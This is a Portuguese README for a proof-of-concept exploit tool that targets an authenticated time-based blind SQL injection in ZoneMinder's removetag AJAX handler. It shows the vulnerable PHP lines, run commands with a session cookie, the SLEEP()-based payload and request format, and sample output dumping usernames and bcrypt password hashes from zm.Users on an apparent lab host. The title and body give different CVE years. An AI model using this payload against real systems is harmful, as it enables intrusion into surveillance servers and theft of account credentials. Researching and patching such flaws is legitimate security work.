
CVE-2025-51482 POC, Extrair Credenciais de zm.Users
Um exploit de prova de conceito para CVE-2024-51482, uma vulnerabilidade de injeção SQL cega baseada em tempo autenticada no ZoneMinder v1.37. ≤ 1.37.64*.
O script extrai nomes de usuários e hashes de senha da tabela zm.Users usando busca binária (bissecção) sobre um oráculo baseado em SLEEP().
O manipulador removetag em web/ajax/event.php parametriza com segurança uma consulta DELETE, mas depois interpola diretamente a entrada controlada pelo usuário em um SELECT subsequente:
// Seguro — parametrizado
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
// Vulnerável — interpolação de string
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
$tagId vem diretamente de $_REQUEST['tid'] sem sanitização, permitindo injeção através do parâmetro tid.
requests (pip install requests)ZMSESSID válido de uma conta do ZoneMinder autenticadapython3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>
Argumentos:
--url — URL base do ZoneMinder (ex.: http://cctv.htb/zm) (obrigatório)--zmsessid — valor do cookie ZMSESSID (obrigatório)--sleep — segundos de espera para inferência baseada em tempo (padrão: 3)--timeout — tempo limite da requisição em segundos (padrão: sleep + 3)Exemplos:
# Básico
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh
# Mais rápido em redes de baixa latência
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2
# Tempo limite personalizado
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10
Faça login no ZoneMinder, abra as Ferramentas do Desenvolvedor do navegador (F12) -> Aplicação -> Cookies e copie o valor de ZMSESSID. Alternativamente, intercepte qualquer requisição autenticada no Burp Suite e capture-o do cabeçalho Cookie.
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!
[*] Dumping ZoneMinder Users...
[*] Counting rows in zm.Users...
[+] Found 3 user(s)
[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
==================================================
DUMP COMPLETE
==================================================
admin : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
tid=1 para medir o tempo de resposta normal.SLEEP(2) e verifica se a resposta atrasa ≥2 segundos.COUNT(*) em zm.Users para descobrir quantas contas existem.Username quanto em Password (~7 requisições por caractere vs. 95 para varredura linear).Estrutura do payload:
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1
1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)
id=1 é necessário porque o DELETE seguro antes do SELECT vulnerável lançaria um erro 500 sem ele, abortando a execução antes que a injeção seja alcançada.
Esta ferramenta é apenas para testes de segurança autorizados e pesquisa educacional.
Sempre obtenha permissão explícita por escrito antes de testar qualquer sistema que você não possua.
O autor não assume responsabilidade por uso indevido ou danos causados por este software.